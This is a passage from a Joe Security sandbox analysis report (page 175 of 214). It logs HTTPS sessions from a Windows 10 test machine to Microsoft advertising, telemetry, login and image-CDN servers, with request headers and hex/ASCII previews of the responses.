=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=0ec57a76fd2746b1b80fb2457281a4bb&time=20211125T162828Z 
HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:28:44 UTC 1948 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: fed6d2eb-6b0e-4fc4-b28b-b34843142f26
Date: Thu, 25 Nov 2021 16:28:43 GMT
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

57 192.168.2.4 49862 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:28:44 UTC 1948 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=1
28000000001392709&tid=700342084&reqasid=023b8a288b874e2f99dbaa7856cac352&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9NMPJ99VJBWV&skuId=0010&installKind
=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=0ec57a76fd2746b1b80fb2457281a4bb&time=20211125T162829Z 
HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:28:44 UTC 1949 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 2c7a3d8c-2383-4e2c-ae08-feb79a3b74fc
Date: Thu, 25 Nov 2021 16:28:43 GMT
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

58 192.168.2.4 49863 20.82.209.183 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:28:44 UTC 1949 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:D9BC7EDF-91E8-C8ED-3ED4-3B144B30C00C&ctry=US&time=20211125T162843Z&lc=en-US&pl=en-US&i
dtp=mid&uid=a9223225-82ba-4622-a95e-dcecd6738abd&aid=00000000-0000-0000-0000-000000000000&ua=Windows
ShellClient%2F9.0.40929.0%20%28Windows%29&asid=44fe029024ff47b892357743a8581d52&ctmode=MultiSession&
arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disp
horzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1269975&metered=false&nettype=ethernet&npid=sc-
338387&oemName=iipced%2C%20Inc.&oemid=iipced%2C%20Inc.&ossku=Professional&rver=2&sc-mode=0
&smBiosDm=iipced7%2C1&tl=2&tsu=1269975&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= 
HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32068&sc=6
X-SDK-HW-TOKEN: t=EwDYAppeBAAU+CVBfQcFvEv2DZI9cfqZBAbEzGMAAbujVbCDVptmlt968P3qCdflDmM4DtYY
v+w7BbmmDR1diN6waiXW6pf+OMQuk05FkO4mXhhkJDXwVvlK8Qgnl7d6wmUc2PCpOTIxQENqHpwJI/vVV02mx8K3cL
fymGDG14uf+/fr6vWCJEFTXwqT1tagj4uwu1v+DDNorzsJAUbwdr8tiNqW5YSTTfES8Smc4E0t2BMC2L3Z23e3MTnG
JNKlxcPbjqYS665huso5k0Sq7BHpyvK4jlhdyDElufoTPXIqkDvVKbg/grQUNsRHZi3cIHxoLRLzOAdEd9T4rFAqy2
gP1RVT5W4pFRoflNOIy+fJaovyRKTztYpmgRikBMgDZgAACJU/EpcxYcROqAEOnhRS1LiiT5EJbT8+vb59u9AAJGtf
rUUMU4Ou0jN9kKhfnhDfKQzyo072jnT5NZ36xe6g4f4v5ZDpje9DbXh+owKkkApeYJ9ixLGLJOWtfR21qqmfA6sn38
QOv1Ba29FR0AKGStbcEEXd2DiWRhlaaBYOqHDhHU954sOmhwzCk5PCuLw1uWWmKFefJz3oWAS4Su3Gbg
xPQIUOtZ17K53kfNIOb5CgruefgTdI6w6nn89vLdwNqFF8Xr2wnOiV746L+EAEKs9sHEs03XgT4X2I5GJZ70MndTsV
I6k7VW6DpmBraxUkf1GLLMO27LmXDj6vs9zvjzxe31mL61fQHs+c7/m0i0G4uamQIKMKItQ2LgLwPDPOSqYZrnoOxD
J1SGMfgRtm6SJ/Ow01pUWVNIBIWgGsiiEy2ALU+X9kEQYoeELCG311iJs5xw+4dvYYaWN6vjLOERFW2LSGjlwerOSi
MzRzDzXcJkOtmUtuppXWrDqXhx+z8KhSHLFuaLdUcunhPLTM1eGFGFrJ05a1ACLxNuZTe48bC7f5ck28XsSO+9s8Nt
bWWh3B1QE=&p=
Cache-Control: no-cache
MS-CV: GPCdJEMyOU63mOgS.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive

2021-11-25 16:28:44 UTC 1952 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 24403
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"RADIDS":"3,P425056668-T700355889-C128000000002409229+B+P90+S1,P425158168-T700358023-
C128000000002643969+B+P60+S2,P425119424-T700340276-C128000000002295249+B+P20+S3"},{"BATCH_
REDIRECT_STORE":"BWW_128000000002409229_EN-US+P0+S0"},{"BATCH_REDIRECT_STORE":"BWW_1280000
00002643969_EN-US+P0+S0"},{"BATCH_REDIRECT_STORE":"BWW_128000000002295249_EN-US+P0+S0"},{"
OPTOUTSTATE":"256"}]
X-ARC-SIG: MAhq8d6rOUedkSfG835fJzTcr+aXDrbR+tjYHKyolPH/99pPBKofkK8lBBW+m4unNKEi2IyVB4aYRGP
yUAPR8ekY9Xgc67tlK8gCGXLZ3izfsEzjxUUPchbYVfYiIJ2MJi1oqtr2dnK3f9pBlIJBLiCny70dIlYNCEtsY2SkezibYT6Lx16
2rgBhH2j+08YTwplFNs0yT52aEWW3KOICcyD35CURxyce4gp3qkSQS+Fv0HZ1cOCfsd0m/XwAvN9Myb96iVD+eF4aj
KeTrqxpFpEL9Qb3jFR5fPnoA/qr1jNai/lQuSwhWagxlZNLSqkPl3cjOAItQHJpbwI4UpOpJg==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Thu, 25 Nov 2021 16:28:44 GMT
Connection: close

2021-11-25 16:28:44 UTC 1953 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 
69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64
72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 
6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 
5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 
5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 
67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 
Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedCont
ent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\
":\"ima

2021-11-25 16:28:44 UTC 1968 IN Data Raw: 63 30 63 37 64 38 33 31 63 26 42 43 4e 54 3d 31 26 50 47 3d 50 43 30 30 30 50 30 46 52 35 2e 30 30 30 30 
30 30 30 49 52 53 26 55 4e 49 44 3d 33 33 38 33 38 37 26 4d 41 50 5f 54 49 44 3d 41 39 32 38 35 43 43 41 2d 34 38 31 
32 2d 34 30 32 30 2d 38 36 30 35 2d 43 41 41 45 31 38 31 38 36 32 32 31 26 4e 43 54 3d 31 26 50 4e 3d 44 41 36 33 44 
46 39 33 2d 33 44 42 43 2d 34 32 41 45 2d 41 35 30 35 2d 42 33 34 39 38 38 36 38 33 41 43 37 26 41 53 49 44 3d 34 34 
46 45 30 32 39 30 32 34 46 46 34 37 42 38 39 32 33 35 37 37 34 33 41 38 35 38 31 44 35 32 26 52 45 51 41 53 49 44 3d 
34 34 46 45 30 32 39 30 32 34 46 46 34 37 42 38 39 32 33 35 37 37 34 33 41 38 35 38 31 44 35 32 26 41 52 43 3d 31 26 
45 4d 53 3d 31 26 4c 4f 43 41 4c 45 3d 45 4e 2d 55 53 26 43 4f 55 4e 54 52 
Data Ascii: c0c7d831c&BCNT=1&PG=PC000P0FR5.0000000IRS&UNID=338387&MAP_TID=A9285CCA-4812-4020-
8605-CAAE18186221&NCT=1&PN=DA63DF93-3DBC-42AE-A505-B34988683AC7&ASID=44FE029024FF47B892
357743A8581D52&REQASID=44FE029024FF47B892357743A8581D52&ARC=1&EMS=1&LOCALE=EN-US&COUNTR

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

59 192.168.2.4 49864 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:28:44 UTC 1951 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=1
28000000001392709&tid=700342084&reqasid=023b8a288b874e2f99dbaa7856cac352&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9NBLGGH5FV99&skuId=0010&installKind
=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=0ec57a76fd2746b1b80fb2457281a4bb&time=20211125T162829Z 
HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:28:44 UTC 1951 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 494ecf9d-eb8c-44e1-b033-ee342dbcc215
Date: Thu, 25 Nov 2021 16:28:43 GMT
Connection: close

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

6 192.168.2.4 49731 20.190.159.137 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:27:32 UTC 61 OUT POST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 
10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 4740
Host: login.live.com

2021-11-25 16:27:32 UTC 62 OUT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 
3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 
2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 
73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 
65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 
6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 
73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/w
ss/2004/01/oasis-200401-wss-wssecurity-secext-1

2021-11-25 16:27:32 UTC 70 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Thu, 25 Nov 2021 16:26:32 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: 82f52be5-6937-4513-8b97-cf461d792471
PPServer: PPV: 30 H: BL02PF885D85C63 V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Thu, 25 Nov 2021 16:27:31 GMT
Connection: close
Content-Length: 11297

2021-11-25 16:27:32 UTC 71 IN Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 
20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 
70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 
2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 
78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 
73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" 
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="h
ttp://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID Source IP Source Port Destination IP Destination Port Process

60 192.168.2.4 49865 20.82.209.183 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:28:44 UTC 1977 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:D9BC7EDF-91E8-C8ED-3ED4-3B144B30C00C&ctry=US&time=20211125T162843Z&lc=en-US&pl=en-US&i
dtp=mid&uid=a9223225-82ba-4622-a95e-dcecd6738abd&aid=00000000-0000-0000-0000-000000000000&ua=Windows
ShellClient%2F9.0.40929.0%20%28Windows%29&asid=c9f85100cd8f42feacef7882068666ce&ctmode=MultiSession&
arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disp
horzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1269975&metered=false&nettype=ethernet&npid=sc-
338388&oemName=iipced%2C%20Inc.&oemid=iipced%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=iipced7%2C
1&tl=2&tsu=1269975&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32068&sc=6
X-SDK-HW-TOKEN: t=EwDYAppeBAAU+CVBfQcFvEv2DZI9cfqZBAbEzGMAAbujVbCDVptmlt968P3qCdflDmM4DtYY
v+w7BbmmDR1diN6waiXW6pf+OMQuk05FkO4mXhhkJDXwVvlK8Qgnl7d6wmUc2PCpOTIxQENqHpwJI/vVV02mx8K3cL
fymGDG14uf+/fr6vWCJEFTXwqT1tagj4uwu1v+DDNorzsJAUbwdr8tiNqW5YSTTfES8Smc4E0t2BMC2L3Z23e3MTnG
JNKlxcPbjqYS665huso5k0Sq7BHpyvK4jlhdyDElufoTPXIqkDvVKbg/grQUNsRHZi3cIHxoLRLzOAdEd9T4rFAqy2
gP1RVT5W4pFRoflNOIy+fJaovyRKTztYpmgRikBMgDZgAACJU/EpcxYcROqAEOnhRS1LiiT5EJbT8+vb59u9AAJGtf
rUUMU4Ou0jN9kKhfnhDfKQzyo072jnT5NZ36xe6g4f4v5ZDpje9DbXh+owKkkApeYJ9ixLGLJOWtfR21qqmfA6sn38
QOv1Ba29FR0AKGStbcEEXd2DiWRhlaaBYOqHDhHU954sOmhwzCk5PCuLw1uWWmKFefJz3oWAS4Su3Gbg
xPQIUOtZ17K53kfNIOb5CgruefgTdI6w6nn89vLdwNqFF8Xr2wnOiV746L+EAEKs9sHEs03XgT4X2I5GJZ70MndTsV
I6k7VW6DpmBraxUkf1GLLMO27LmXDj6vs9zvjzxe31mL61fQHs+c7/m0i0G4uamQIKMKItQ2LgLwPDPOSqYZrnoOxD
J1SGMfgRtm6SJ/Ow01pUWVNIBIWgGsiiEy2ALU+X9kEQYoeELCG311iJs5xw+4dvYYaWN6vjLOERFW2LSGjlwerOSi
MzRzDzXcJkOtmUtuppXWrDqXhx+z8KhSHLFuaLdUcunhPLTM1eGFGFrJ05a1ACLxNuZTe48bC7f5ck28XsSO+9s8Nt
bWWh3B1QE=&p=
Cache-Control: no-cache
MS-CV: GPCdJEMyOU63mOgS.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive

2021-11-25 16:28:44 UTC 1980 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 4732
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"RADIDS":"1,P425389010-T700370460-C128000000002987369+B+P60+S1"},{"BATCH_RE
DIRECT_STORE":"BWW_128000000002987369_EN-US+P0+S0"},{"OPTOUTSTATE":"256"}]
X-ARC-SIG: Lxc+RkDE6ztGK+WNHc8+OOkzbP3ofEBwY/PzgWGfHTorkXDpGy5Ud535/2D1uKrpJ0EnFkSivjDtWaL
ZTLuu81TWXqbE0Z9r7cIFs8tWPLqeDVpDME75vAAl/kK2p/AHIdqUPQisvX1lZ/2IFLu3wXS3f7v+3KhBEbKDqp3xE
bcriapNk5lcDA0BXqPM4z2OvMZUEKQml2rURfdB6XeA0ocRTNr7joPtanNjwQc2iMwEC2SZkdoqho+dgyI9aZqHzhQ
gYSP8ItKypQNxBd2UHFONghEWLQiM39C1qAKVBW3etxMHi1K9nYaVZcvlzofzqMt7psNrGb8v2HiaYHEBjw==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Thu, 25 Nov 2021 16:28:44 GMT
Connection: close

2021-11-25 16:28:44 UTC 1981 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 
69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64
72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 63 64 6d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 
6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 6e 61 6d 65 5c 22 3a 5c 22 53 75 67 67 65 73 74 69 6f 6e 
73 4f 6e 53 74 61 72 74 5c 22 2c 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 
63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 7d 2c 5c 22 70 72 
6f 70 65 72 74 69 65 73 5c 22 3a 7b 7d 2c 5c 22 74 72 61 63 
Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"cdm\",\"u\":\"SubscribedCont
ent\"}],\"ad\":{\"name\":\"SuggestionsOnStart\",\"class\":\"content\",\"collections\":[],\"propertyManifest\":{},\"properties\":{}
,\"trac

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

61 192.168.2.4 49866 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:28:44 UTC 1979 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=1
28000000001392709&tid=700342084&reqasid=023b8a288b874e2f99dbaa7856cac352&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9WZDNCRDFNG7&skuId=0010&installKind
=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=0ec57a76fd2746b1b80fb2457281a4bb&time=20211125T162830Z 
HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:28:44 UTC 1979 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: b483e2b2-9dce-4e8b-a687-eb1daa5c13d0
Date: Thu, 25 Nov 2021 16:28:44 GMT
Connection: close
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Session ID Source IP Source Port Destination IP Destination Port Process

62 192.168.2.4 49867 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:28:44 UTC 1985 OUT GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=12
8000000001392709&tid=700342084&reqasid=023b8a288b874e2f99dbaa7856cac352&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=
&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&bSrc=i.t&time=20211125T162831Z&asid=0ec57a7
6fd2746b1b80fb2457281a4bb&eid= HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:28:45 UTC 1986 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: fdd9727e-b780-44bb-a468-e5e720290eb9
Date: Thu, 25 Nov 2021 16:28:44 GMT
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

63 192.168.2.4 49871 80.67.82.235 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:28:50 UTC 1986 OUT GET /cms/api/am/imageFileData/RWLEfq?ver=d133 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 
Safari/537.36 Edge/17.17134
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive

2021-11-25 16:28:51 UTC 1986 IN HTTP/1.1 200 OK
Content-Type: image/png
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RWLEfq?ver=d133
Last-Modified: Sun, 21 Nov 2021 12:50:29 GMT
Access-Control-Allow-Origin: *
X-Source-Length: 2123
X-Datacenter: northeu
X-ActivityId: 4b5e39ca-f2e1-49e1-bddd-34ddbbc2c27f
Timing-Allow-Origin: *
X-Frame-Options: deny
X-ResizerVersion: 1.0
Content-Length: 2123
Cache-Control: public, max-age=73285
Expires: Fri, 26 Nov 2021 12:50:16 GMT
Date: Thu, 25 Nov 2021 16:28:51 GMT
Connection: close

2021-11-25 16:28:51 UTC 1987 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 18 00 00 00 18 08 06 00 00 00 e0 77 3d f8 00 00 00 
09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 05 16 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 
78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 
43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 
78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 
72 65 20 36 2e 30 2d 63 30 30 32 20 37 39 2e 31 36 34 34 36 30 2c 20 32 30 32 30 2f 30 35 2f 31 32 2d 31 36 3a 30 34 3a 
31 37 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 
Data Ascii: PNGIHDRw=pHYsiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:
xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164460, 2020/05/12-16:04:17        "> <rd
f:RD

Session ID Source IP Source Port Destination IP Destination Port Process

64 192.168.2.4 49872 80.67.82.235 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:28:56 UTC 1989 OUT GET /cms/api/am/imageFileData/RE4IeBw?ver=3cb8 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 
Safari/537.36 Edge/17.17134
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive

Copyright Joe Security LLC 2021 Page 175 of 214



2021-11-25 16:28:56 UTC 1989 IN HTTP/1.1 200 OK
Last-Modified: Wed, 24 Nov 2021 01:52:05 GMT
Access-Control-Allow-Origin: *
X-Datacenter: northeu
X-ActivityId: da73213d-3c07-4a1c-9e7c-6bc6ecddb4f6
Timing-Allow-Origin: *
X-Frame-Options: deny
X-ResizerVersion: 1.0
Content-Type: image/jpeg
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4IeBw?ver=3cb8
X-Source-Length: 521769
Content-Length: 521769
Cache-Control: public, max-age=292965
Expires: Mon, 29 Nov 2021 01:51:41 GMT
Date: Thu, 25 Nov 2021 16:28:56 GMT
Connection: close

